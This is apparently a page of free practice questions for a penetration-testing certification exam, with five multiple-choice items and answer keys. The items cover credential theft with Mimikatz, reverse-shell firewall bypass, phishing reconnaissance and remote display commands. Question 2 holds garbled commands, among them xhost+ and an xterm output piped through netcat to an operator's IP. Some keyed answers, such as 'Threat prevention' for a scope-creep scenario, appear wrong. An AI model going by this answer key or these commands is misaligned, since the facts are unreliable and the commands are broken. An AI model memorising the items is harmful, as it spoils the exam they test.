Question 1

A penetration tester obtained access to an internal host of a given target. Which of the following is the BEST tool to retrieve the passwords of users of the machine exploiting a well-knows architecture flaw of the Windows OS?

Options :

A : Mimikatz

B : John the Ripper

C : RainCrack

D : Hashcat

Answer: A

Question 2

A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?

Options :

A :

From the remote computer, run the following commands:

Export IHOST 192.168.1.10:0.0

xhost+

Terminal

B :

From the local computer, run the following command

ssh -L4444 : 127.0.01:6000 -% [email protected] xterm

C :

From the local computer, run the following command

ssh -r6000 : 127.0.01:4444 -p 6000 [email protected] ''xhost+; xterm''

D :

From the local computer, run the following command

Nc -1 -p 6000

Then, from the remote computer, run the following command

Xterm | nc 192.168.1.10 6000

Answer: A

Question 3

A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovered vulnerabilities, the company asked the consultant to perform the following tasks:

* Code review

* Updates to firewall setting

Options :

A : Scope creep

B : Post-mortem review

C : Risk acceptance

D : Threat prevention

Answer: D

Question 4

Joe, a penetration tester, was able to exploit a web application behind a firewall He is trying to get a reverse shell back to his machine but the firewall blocks the outgoing traffic Ports for which of the following should the security consultant use to have the HIGHEST chance to bypass the firewall?

Options :

A : HTTP

B : SMTP

C : FTP

D : DNS

Answer: A

Question 5

A penetration tester is designing a phishing campaign and wants to build list of users (or the target organization. Which of the following techniques would be the MOST appropriate? (Select TWO)

Options :

A : Query an Internet WHOIS database.

B : Search posted job listings.

C : Scrape the company website.

D : Harvest users from social networking sites.

E : Socially engineer the corporate call center.

Answer: C,D

Higher Test Marks with Free Online PT0-001 Exam Practice

Buying Options: